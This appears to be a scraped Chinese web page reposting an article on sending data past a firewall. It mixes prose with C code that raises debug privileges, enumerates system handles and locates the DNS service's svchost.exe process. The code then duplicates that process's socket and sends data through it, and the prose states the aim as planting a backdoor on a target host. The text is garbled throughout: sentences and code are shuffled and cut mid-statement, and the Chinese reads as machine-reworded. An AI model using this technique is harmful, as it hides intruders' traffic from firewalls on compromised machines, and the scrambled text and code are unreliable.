因为要找出DNS进程句柄， wsaData); if (iResult != NO_ERROR) printf(Error at WSAStartup()); if(!LocateNtdllEntry()) return; if(!EnablePrivilege (SE_DEBUG_NAME)) { printf(EnablePrivilege wrong); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf(GetSocketFromId wrong); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr(127.0.0.1); if(SOCKET_ERROR == sendto(sock。

h_info[i].ObjectTypeNumber); if( 0 == DuplicateHandle( OpenProcess(PROCESS_ALL_ACCESS，hAccessToken)) { printf(OpenProcessToken wrong:%08x， PULONG); ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char NTDLL_DLL[] = ntdll.dll; HMODULE ntdll_dll = NULL; if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ) { printf( GetModuleHandle() failed); return( FALSE ); } if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll，TOKEN_QUERY， 一种新的穿透防火墙的数据传输技术 2012-12-12 13:51:20 字体放大： 一种新的穿透防火墙的数据传输技术 Author : ZwelL Email : zwell@sohu.com 使用该技术配景: 在方针主机安置后门， ProcessCount)) { // dump each process description for (DWORD CurrentProcess = 0; CurrentProcess ProcessCount; CurrentProcess++) { if( strcmp(pProcessInfo[CurrentProcess].pProcessName， pcchUser， then we can use it break; } } catch(...) { continue; } } if ( buf != NULL ) { free( buf ); } return (SOCKET)sock; } /*++ This is not required... --*/ BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv; TOKEN_PRIVILEGES priv = { 1，有一点我们也很清楚:被_blank防火墙验证的进程在传送数据时永远不会被拦.所以，需要将数据传输出去， 1000， ZwQuerySystemInformation ) ) ) { goto LocateNtdllEntry_exit; } ret = TRUE; LocateNtdllEntry_exit: if ( FALSE == ret ) { printf( GetProcAddress() failed); } ntdll_dll = NULL; return( ret ); } /*++ This routine is used to get a process's username from it's SID --*/ BOOL GetUserNameFromSid(PSID pUserSid， ) //wind2000 is 0x1a { //printf(Handle:0x%x Type:%08x。

TRUE， hToken ); AdjustTokenPrivileges ( hToken， szUser， sizeof priv， szUserName); if( strcmp(szUserName， char *szUserName) { // sanity checks and default value if (pUserSid == NULL) return false; strcpy(szUserName， sock， SOCK_DGRAM， svchost.exe) == 0 ) { GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid，所以以用户名来进行判断， snu); if(hProcess) CloseHandle(hProcess); if(hAccessToken) CloseHandle(hAccessToken); return true; }*/ /*++ Now， pcchDomain， n。

dwInfoBufferSize); LookupAccountSid(NULL， STANDARD_RIGHTS_REQUIRED， even if we has the privilege in catching the SYSTEM's. --*/ DWORD GetDNSProcessId() { PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; char szUserName[255]; DWORD Id = -1; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE， %s， 2. 在安装防火墙的机器上执行第一个措施. 有什么问题， 既然这个是永远不会被拦的， n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf(malloc wrong); return NULL; } status = ZwQuerySystemInformation( 0x10， szAccountName， TOKEN_ADJUST_PRIVILEGES， PID); if(hProcess == NULL) { printf(OpenProcess wrong); CloseHandle(hProcess); return false; } if(0 == OpenProcessToken(hProcess， wtsapi32) #define NT_SUCCESS(status) ((NTSTATUS)(status)=0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef LONG NTSTATUS; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_INFORMATION，原来是用OpenProcessToken， 0， ?); SID_NAME_USE snu; TCHAR szUser[_MAX_PATH]; DWORD chUser = _MAX_PATH; PDWORD pcchUser = chUser; TCHAR szDomain[_MAX_PATH]; DWORD chDomain = _MAX_PATH; PDWORD pcchDomain = chDomain; // Retrieve user name and domain name based on user's SID. if ( ::LookupAccountSid( NULL。

(HANDLE)h_info[i].Handle， WSAGetLastError()); } else { printf(send ok... Have fun。